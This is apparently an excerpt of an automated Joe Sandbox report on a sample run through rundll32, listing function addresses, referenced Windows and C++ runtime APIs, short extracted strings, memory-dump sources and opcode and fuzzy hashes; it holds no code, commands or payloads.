Opcode Fuzzy Hash: 1e521753603c253260f75de318e5fd5f95f3e7c568a8fd49db7ce5474408351d
Instruction Fuzzy Hash: F6B16B73A01B458BEB15CF2AC88236C37B1F744BD8F188922DAAD877A4DB39E415C714

Function 000001CEAFC9B5E0 Relevance: 3.0, Strings: 2, Instructions: 550COMMON

Download Yara Rule

Strings

p, xrefs: 000001CEAFC9B6DA
), xrefs: 000001CEAFC9B7D9

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: )$p
API String ID: 0-1764766951
Opcode ID: 9d570edb135ad5df64455d416d7b7bd6828061fa6f982e48206ddfeb261685ac
Instruction ID: 0a1489ef4c277d205d3bf5ccc8ccac321c746cf6aa19415554289b5efbc256bf
Opcode Fuzzy Hash: 9d570edb135ad5df64455d416d7b7bd6828061fa6f982e48206ddfeb261685ac
Instruction Fuzzy Hash: CF123C30258B489FF7A4DB19D895BEEB7E1FB88344F50492DA08EC32D1CB74D9458B46

Function 00007FF8A8CF9AC0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF8A8CF9AD5
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF8A8CF9AEC

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DescriptorSecurity$DaclInitialize
String ID:
API String ID: 625223987-0
Opcode ID: c0a8e56eca8e4e281327c7623743745a170f8c253331fa8f05733e7852c7cf4d
Instruction ID: 749c091e5e7ccda284d5ee0aa572ff636521a6c119764348780ff116b10c5269
Opcode Fuzzy Hash: c0a8e56eca8e4e281327c7623743745a170f8c253331fa8f05733e7852c7cf4d
Instruction Fuzzy Hash: 6EF03075A0B242E6FB548F21F864B756670FF41BC5F484034C80906650DF7DA5A9C738

Function 000001CEAFC8CBE0 Relevance: 1.9, Strings: 1, Instructions: 623COMMON

Download Yara Rule

Strings

!yOr, xrefs: 000001CEAFC8CC2B

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID: !yOr
API String ID: 3653107232-2868905794
Opcode ID: a344c6b9773561e1a8feff107ffa0bbb357e6f0ee830072877925764f08a3291
Instruction ID: 09370bbe246c57d3dada80a30031289b74c2bbe8322aa002940e463231374403
Opcode Fuzzy Hash: a344c6b9773561e1a8feff107ffa0bbb357e6f0ee830072877925764f08a3291
Instruction Fuzzy Hash: B9226D30218B488FE7A8EB29C455BEEB7E1FB88344F51452DA08EC32D1DF75D8458B86

Function 00007FF8A8D1C3A8 Relevance: 1.8, APIs: 1, Instructions: 349COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D1C85A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID:
API String ID: 1323251999-0
Opcode ID: 22d042ea3a28c32213cb79e8b619b4f295c814ae5b951abea629a08cfbfc3cc7
Instruction ID: 635a45da0097f907fa8ebcc476fb1659bb1fad70ac138dd842c3f7ad9ba09c6b
Opcode Fuzzy Hash: 22d042ea3a28c32213cb79e8b619b4f295c814ae5b951abea629a08cfbfc3cc7
Instruction Fuzzy Hash: C6E1BF22B1AA91A5FB11CB65D0402FD27A0EF54BC8F441131EE9E17B89EF7CE589C324

Function 000001CEAFC8B4E0 Relevance: 1.8, Strings: 1, Instructions: 571COMMON

Download Yara Rule

Strings

P, xrefs: 000001CEAFC8B58D

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: fc71c7b77c584ab428780ddc863f287b4ad5f6815cb57d0fe849b24e33f4b176
Instruction ID: 1c05d8dc99e1e661a38074126520c80e02b6b26d6a46eba21ed024c878884d89
Opcode Fuzzy Hash: fc71c7b77c584ab428780ddc863f287b4ad5f6815cb57d0fe849b24e33f4b176
Instruction Fuzzy Hash: 1812C630258B489FF774AF69D459BEEB6D2FB88340F51452DA08AC32D2DF78D8418786

Function 00007FF8A8D1BEDC Relevance: 1.8, APIs: 1, Instructions: 314COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D1C2E2

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID:
API String ID: 1323251999-0
Opcode ID: 88fd66ed8c93d63684982f8caed945330649921e66e0deda39417e65845a2336
Instruction ID: 35f14ef954ce078a15ed1deadf0d328c11e5240e63fd03e1f29801da1ea8d3ed
Opcode Fuzzy Hash: 88fd66ed8c93d63684982f8caed945330649921e66e0deda39417e65845a2336
Instruction Fuzzy Hash: 65D19122F0A69199FB11CBB5D0012FD63B1EF55B88F444131DE9D27B89DF38E58A8368

Function 00007FF8A8D2530C Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D255D2

Part of subcall function 00007FF8A8D102C4: std::_Xinvalid_argument.LIBCPMT ref: 00007FF8A8D102CF

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$DeallocateXinvalid_argument
String ID:
API String ID: 1940402478-0
Opcode ID: 6d49e94807b1f179427749f465642f2da799c52822a2ea57ed54f5f7d9566d11
Instruction ID: aa1afd552b27a1d9c8464907b29ad65be902c40fa05d197bf7cb9cb2ec32cc73
Opcode Fuzzy Hash: 6d49e94807b1f179427749f465642f2da799c52822a2ea57ed54f5f7d9566d11
Instruction Fuzzy Hash: 77C11572B1A6C952DF10CB26E8446AEA760FB98BC0F455032EE9D47B85EF3CE009C714

Function 000001CEAFC75D60 Relevance: 1.8, Strings: 1, Instructions: 524COMMON

Download Yara Rule

Strings

(, xrefs: 000001CEAFC75FE6

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: f0e7dd1c77ade1b2000a5ea3d18a18395cd9001f657993a855ba74be45576139
Instruction ID: ead2d9d8eafd4a6bc0220aec958e5baeaec9dd1945a0f6f31375da923aa7ad28
Opcode Fuzzy Hash: f0e7dd1c77ade1b2000a5ea3d18a18395cd9001f657993a855ba74be45576139
Instruction Fuzzy Hash: 74F18070E58B489FF7A8DF2A8445BAEB7D2FB88344F50452DE08AC32D1DB34D845974A

Function 000001CEAFC913A3 Relevance: 1.7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

Strings

, xrefs: 000001CEAFC91439

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: c30bd7ab68d751d74eb6e3fcd089575567a5f3ab528e208d543831b4295961bd
Instruction ID: 5a33167aceb2a6abf259fa16346e3c2dc3ae38b9808ba9ec19159a2bf6deb438
Opcode Fuzzy Hash: c30bd7ab68d751d74eb6e3fcd089575567a5f3ab528e208d543831b4295961bd
Instruction Fuzzy Hash: BDE1B330668B895FF774AB29C486BEEB7D1FB98344F108A2E948AC31D2DA34D4458746

Function 000001CEAFC94550 Relevance: 1.7, Strings: 1, Instructions: 427COMMON

Download Yara Rule

Strings

8, xrefs: 000001CEAFC94666

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: a3dc7b8e494b16dd21b97287bb3eaff47006ed4ed7018e253540c91b99ff9934
Instruction ID: d8a1b08f8483ce168d12d0e155a457dafbcc388a607c97a6455a3391a7264470
Opcode Fuzzy Hash: a3dc7b8e494b16dd21b97287bb3eaff47006ed4ed7018e253540c91b99ff9934
Instruction Fuzzy Hash: 41D17330268B485FF764EB29D856BEEB3D2FB88340F50852DA45AC32D2DF74D8458786

Function 00007FF8A8D09D8C Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32 ref: 00007FF8A8D09E58

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ObjectSingleWait
String ID:
API String ID: 24740636-0
Opcode ID: 718267e9826e8370e2889d1920cb342ac8506d4ba1e34d31712e09ab52e2dd6f
Instruction ID: c03f72745747746aa4ca6fed6c3797eb6542a2f8e0c1c2b6165de31e958d429d
Opcode Fuzzy Hash: 718267e9826e8370e2889d1920cb342ac8506d4ba1e34d31712e09ab52e2dd6f
Instruction Fuzzy Hash: CD41A231A1BA42A2EB289A24D4A537E6261EF447D0F440239DA7F437D5DF2CEC58C768

Function 000001CEAFC966E0 Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

, xrefs: 000001CEAFC9677D

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 990200c829865227b6571aa3573083370787801c1570d2fe66e4a338792caab8
Instruction ID: e38d6c135564e5051a1db5a17ac7f48310b8c1a4206d0263a679fb2e44b4aae3
Opcode Fuzzy Hash: 990200c829865227b6571aa3573083370787801c1570d2fe66e4a338792caab8
Instruction Fuzzy Hash: 76A1D7302686485FF758AB29D455BEEB7D2FB88344F50452DF08AC32D2DF39D842978A

Function 000001CEAFCA1490 Relevance: 1.6, Strings: 1, Instructions: 327COMMON

Download Yara Rule

Strings

@, xrefs: 000001CEAFCA149C

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 59a31fbeb8a05151edb759329d96371e831f95528c315330fb92cc5f8aafcbf3
Instruction ID: 56e2502a16755275fdbf92e33e718c331ecd8984ea1885a1274d75f33fc10056
Opcode Fuzzy Hash: 59a31fbeb8a05151edb759329d96371e831f95528c315330fb92cc5f8aafcbf3
Instruction Fuzzy Hash: 8DB15F30628B044FE758EB2CD466B9EB7D2FBC8744F50462DB0CAD36D1CB79E9418686

Function 00007FF8A8DCBB1C Relevance: 1.5, Strings: 1, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF8A8DCBCEB

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 195b2cfd414302573d07b6318a124d7905505630c4cf68cee92227e9f8746074
Instruction ID: b03313c1b33f932a17dd6ec6f1f269ad223bbca1786801cd00181470a590026c
Opcode Fuzzy Hash: 195b2cfd414302573d07b6318a124d7905505630c4cf68cee92227e9f8746074
Instruction Fuzzy Hash: C87128A1A1A20362FB78AE3B41406B92691EF407C4F845431DF6E07699CF2DE84F972D

Function 000001CEAFC766C0 Relevance: 1.0, Instructions: 996COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c77ee9db95c24773db9081a7deccb5cf2f36f3081fec3039551d8f54b381666b
Instruction ID: cf6950cfadc0a484f7f4069843dacffc98a3cfec29972e1e0726d5ebc2c3f580
Opcode Fuzzy Hash: c77ee9db95c24773db9081a7deccb5cf2f36f3081fec3039551d8f54b381666b
Instruction Fuzzy Hash: 2972B334B60A065FFB599B2A9C91FE933D6FB8C380F844474A84AC72C6DE34EC419659

Function 000001CEAFC855C0 Relevance: .9, Instructions: 926COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 350242b65a825236f0cef7dba7e89bea0ee836d7790e07bd0f8663bca9a95aae
Instruction ID: 5dbc976e77adda638d7a200b7e01795c21c1e5bab7433391d6523618e2aff616
Opcode Fuzzy Hash: 350242b65a825236f0cef7dba7e89bea0ee836d7790e07bd0f8663bca9a95aae
Instruction Fuzzy Hash: 4B727130158B088FE7A4EF19D885BDAB7E1FB98344F21466DD44DC72A6CB34E845CB86

Function 000001CEAFC92BB0 Relevance: .8, Instructions: 821COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: aff5c4d20f6982611215f9d6a88c3eb7a971e3ecba982710c61e21332a3c11f9
Instruction ID: 5424bacf1d8f4a3963eeb9486640b34dca0ac75364863194d1d8b689baaf2864
Opcode Fuzzy Hash: aff5c4d20f6982611215f9d6a88c3eb7a971e3ecba982710c61e21332a3c11f9
Instruction Fuzzy Hash: E652B530368B045FF768BB199862BEEB3D6FBC8740F50451DA48AC32D2DA35E945C687

Function 000001CEAFCA2F60 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6a83add80c015651db2210a2c8c18f03a1d4ada41add862ec9d8abcd3fa1614
Instruction ID: a96ebd2c6fcefc073b7ab55e6a55183f66356902eaeb64ee3512868eab053fb2
Opcode Fuzzy Hash: d6a83add80c015651db2210a2c8c18f03a1d4ada41add862ec9d8abcd3fa1614
Instruction Fuzzy Hash: 1C223830218B489FF7A4EB19C465BDEB7E2FB98344F504A1DA08AC32D1DB75E544CB46

Function 000001CEAFCA2812 Relevance: .6, Instructions: 559COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85d6e6732e53faa95cd3743e2378d3a887562cd9e05599d55a6b56c32021c76b
Instruction ID: 74f244cf740371f9c7b073bb44efcb2390a8e96fb8b7ee22988a137f3f26578f
Opcode Fuzzy Hash: 85d6e6732e53faa95cd3743e2378d3a887562cd9e05599d55a6b56c32021c76b
Instruction Fuzzy Hash: CD120B30218B489FF7A4EB29C895BDEB7E1FB98345F504A1DA08EC3291DB34D545CB46

Function 000001CEAFC9FBC0 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: faae51807ddb49513d4786620cdd6c550b09a0d8d4213f58ccc1b562f963a966
Instruction ID: 99427f00c675fc39b00706e2cf8b95ef5a019291b6942b0106d302dc345bb703
Opcode Fuzzy Hash: faae51807ddb49513d4786620cdd6c550b09a0d8d4213f58ccc1b562f963a966
Instruction Fuzzy Hash: 75025430668B085FF758EB19D866BDEB7D2FB88384F50452DA08AC32D2DF74D9418687

Function 000001CEAFCA1F40 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4d75c8bae3dadf60b14d49d2fca757bc88afd426212f50ca8b4ad8a0d68515d
Instruction ID: a3fe3d444e3a3a305b370cc7175dfa4851c006c745d3c0105385aa29d29410fa
Opcode Fuzzy Hash: f4d75c8bae3dadf60b14d49d2fca757bc88afd426212f50ca8b4ad8a0d68515d
Instruction Fuzzy Hash: 7D024C30218B489FE764EF29D855BAAB7E2FB88344F50452DA08AC32D1DF34E945CB46

Function 000001CEAFC89120 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e8d057c5f9894473d845d1c83c9ad02595634ce579fe39b255221776393a4b
Instruction ID: b1bbfdfd36d8cc4a978d369f8e22ced4c5ad376451024f08a53ab5aa3704d323
Opcode Fuzzy Hash: 93e8d057c5f9894473d845d1c83c9ad02595634ce579fe39b255221776393a4b
Instruction Fuzzy Hash: 1D02AC30268B089FF764AF19D455BEEB7E1FB88744F50492DA08AC32D1CB78D945CB86

Function 000001CEAFC799D0 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e900f451b4fb25b4a4ec71e5c06c8d4aca2ec53ba872fd3ee1d632b7d26ca10
Instruction ID: 0d9bcff9f132ce2ab9ee4004cbfc3fae15185cd1538f01ea002e283af2489fbb
Opcode Fuzzy Hash: 6e900f451b4fb25b4a4ec71e5c06c8d4aca2ec53ba872fd3ee1d632b7d26ca10
Instruction Fuzzy Hash: 90F14F30658B489FF764EB29D455BEEB7E1FB88340F504A2DA48AC32D1DF38D8458786

Function 000001CEAFCA0210 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9aa099fc02c16ba095d4bf4291fdb0dcd3e10970e4b1abe0c916cefc9fc1f856
Instruction ID: fddd45938af736d1f75708f15d643d5f00fdeb40321d711dbc0ba8abefdd13aa
Opcode Fuzzy Hash: 9aa099fc02c16ba095d4bf4291fdb0dcd3e10970e4b1abe0c916cefc9fc1f856
Instruction Fuzzy Hash: C6E16230668B085FF758EB19D856BAEB7D2FBC8384F50451DB08AC32D2DE74D941878A

Function 000001CEAFC84DB0 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e5cb04a7b8afc38bfdb1fe03543906a8b7734bb26e47d94f1bfbbc31827fd8
Instruction ID: 7ee7470e863dee9be746a8540477c7e6fa120bdb4ef98bbf281498d8a8fef83e
Opcode Fuzzy Hash: 67e5cb04a7b8afc38bfdb1fe03543906a8b7734bb26e47d94f1bfbbc31827fd8
Instruction Fuzzy Hash: BCE18230268B485FF758EB2DC455BEEB7D1FB88384F50496DA08AC32D2DE34E8458786

Function 000001CEAFC842A0 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b817203ba3c4443f5fb8480b07f75b397d38fcfc8ae896fd7bf819042d688969
Instruction ID: 97a3131f3cd8477f10784a0d39fa2bf685023b4162ea76fb2d849efeb2bd1797
Opcode Fuzzy Hash: b817203ba3c4443f5fb8480b07f75b397d38fcfc8ae896fd7bf819042d688969
Instruction Fuzzy Hash: E0D1763061CB088FF768EF29D855B9AB7E1FB98340F11052DE44AC32A5DB74E945CB86

Function 000001CEAFC982A0 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

